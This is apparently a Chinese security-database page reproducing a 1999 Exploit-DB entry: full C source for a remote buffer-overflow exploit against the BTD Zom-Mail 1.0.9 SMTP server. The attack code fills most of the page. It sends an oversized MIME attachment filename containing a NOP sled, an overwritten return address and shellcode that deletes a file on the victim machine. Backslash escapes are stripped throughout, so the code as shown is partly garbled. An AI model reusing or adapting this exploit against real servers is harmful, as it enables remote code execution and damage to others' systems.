BTD Studio Zom-Mail 1.0.9 – Remote Buffer Overflow

BTD Studio Zom-Mail 1.0.9 – Remote Buffer Overflow

漏洞ID 1053423 漏洞类型
发布时间 1999-11-02 更新时间 1999-11-02
图片[1]-BTD Studio Zom-Mail 1.0.9 – Remote Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-BTD Studio Zom-Mail 1.0.9 – Remote Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19586
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/761/info


In certain versions of the BTD Zom-Mail server there exists a buffer overflow which may be remotely exploitable by malicious users. The problem in question is in the handling of overly (past 256 chars) long file names for file attachments.


/*=============================================================================
   ZOM-MAIL 1.09 Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 
#include    <winsock.h>

#define     TARGET_FILE     "c:\windows\test.txt"
#define     MAXBUF          3000
#define     RETADR          768
#define     JMPESP_ADR      0xbffca4f7
#define     STACK_BYTES     32
#define     SMTP_PORT       25

#define     CONTENT 
"Subject: [Warning!!] This is exploit test mail.rn"
"MIME-Version: 1.0rn"
"Content-Type: multipart/mixed; "
"boundary="U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA=="rn"
"Content-Transfer-Encoding: 7bitrn"
"--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==rn"
"Content-Type: image/gif; name="%s.gif"rn"
"Content-Disposition: attachment;rn"
" filename="temp.gif"rn"

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.remove.";

void send_smtpcmd(SOCKET sock,char *cmd)
{
    char    reply[MAXBUF];
    int     r;
    send(sock,cmd,strlen(cmd),0);
    r=recv(sock,reply,MAXBUF,0);
    reply[r]=0;
    printf("%-11s: %sn",strtok(cmd,":"),reply);
}
main(int argc,char *argv[])
{
    SOCKET               sock;
    SOCKADDR_IN          addr;
    WSADATA              wsa;
    WORD                 wVersionRequested;
    unsigned int         ip,p1,p2;
    char                 buf[MAXBUF],packetbuf[MAXBUF+1000];
    struct hostent       *hs;

    if (argc<3){
        printf("This exploit removes "%s" on the victim host",TARGET_FILE);
        printf("usage: %s SMTPserver Mailaddressn",argv[0]);
        return -1;
    }
    wVersionRequested = MAKEWORD( 2, 0 );
    if (WSAStartup(wVersionRequested , &wsa)!=0){
        printf("Winsock Initialization failed.n"); return -1;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        printf("Can not create socket.n"); return -1;
    }
    addr.sin_family     = AF_INET;
    addr.sin_port       = htons((u_short)SMTP_PORT);
    if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.n"); return -1;
            }
            addr.sin_family = hs->h_addrtype;
            memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
        printf("Can not connect to specified host.n"); return -1;
    }
    recv(sock,packetbuf,MAXBUF,0);
    printf("BANNER    : %sn",packetbuf);

    send_smtpcmd(sock,"EHLO mail.attcker-host.netrn");
    send_smtpcmd(sock,"MAIL FROM: <[email protected]>rn");
    sprintf(packetbuf,"RCPT TO: <%s>rn",argv[2]);
    send_smtpcmd(sock,packetbuf);
    send_smtpcmd(sock,"DATArn");
    
    memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
    ip=JMPESP_ADR;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strcat(exploit_code,cmdbuf);
    strcat(exploit_code,TARGET_FILE);
    p1=(unsigned int)LoadLibrary;
    p2=(unsigned int)GetProcAddress;
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x1e]=p2&0xff;
    exploit_code[0x1f]=(p2>>8)&0xff;
    exploit_code[0x20]=(p2>>16)&0xff;
    exploit_code[0x21]=(p2>>24)&0xff;
    exploit_code[0x2a]=strlen(TARGET_FILE);
    memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));

    sprintf(packetbuf,CONTENT,buf);
    send(sock,packetbuf,strlen(packetbuf),0);
    send_smtpcmd(sock,".rn");
    closesocket(sock);
    printf("Done.n");
    return FALSE;
}

相关推荐: IRIX datman/cdman Vulnerability

IRIX datman/cdman Vulnerability 漏洞ID 1105096 漏洞类型 Access Validation Error 发布时间 1996-12-09 更新时间 1996-12-09 CVE编号 N/A CNNVD-ID N/A 漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享